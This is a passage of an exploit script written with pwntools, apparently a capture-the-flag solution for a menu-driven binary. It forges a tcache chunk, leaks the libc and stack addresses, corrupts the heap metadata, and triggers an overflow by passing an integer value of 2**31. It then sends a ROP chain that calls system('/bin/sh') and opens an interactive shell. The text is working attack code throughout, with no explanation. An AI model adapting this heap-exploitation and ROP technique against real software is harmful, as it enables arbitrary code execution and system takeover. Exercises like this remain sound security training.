p.sendlineafter(b"Action: ", b"3")
# create fake tcache chunk to be freed
p.sendafter(b"> ", b"\x00"*0x8 + p64(0x111) + b"\x00"*0x18 + p64(0x4040e0) + b"\x00"*0x20 + p64(0x404110))
p.sendlineafter(b"Action: ", b"1")
p.recvuntil(b"Name: ")
leak = unpack(p.recvuntil(b" ", drop=True), "all") -2219328
libc.address = leak + 9664
log.info(f"leak @ {hex(leak)}")
p.sendlineafter(b"Action: ", b"4")
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Action: ", b"3")
p.sendafter(b"> ", b"\x00"*0x18 + p64(leak))
p.sendlineafter(b"Action: ", b"1")
p.recvuntil(b"Name: ")
stack_leak = unpack(p.recvuntil(b" ", drop=True), "all")
log.info(f"stack leak @ {hex(stack_leak)}")
payload = b"A"*0xe80
payload += p64(0x0) + p64(0x291)
payload += p16(0x0)*15
payload += p16(0x1)
payload += p16(0x0)*48
payload += p64(0x0)*15
payload += p64(stack_leak-0x50)
rop = ROP(libc)
rop.call(rop.ret)
rop.system(next(libc.search(b"/bin/sh\x00")))
p.sendlineafter(b"Action: ", b"2")
p.sendlineafter(b"> ", str(2**31).encode()) # prepare for buffer overflow
p.sendlineafter(b"Action: ", b"7")
p.sendafter(b"reflection?\n", payload)
p.sendlineafter(b"Action: ", b"3")
p.sendlineafter(b"> ", b"A"*8 + rop.chain())
p.interactive()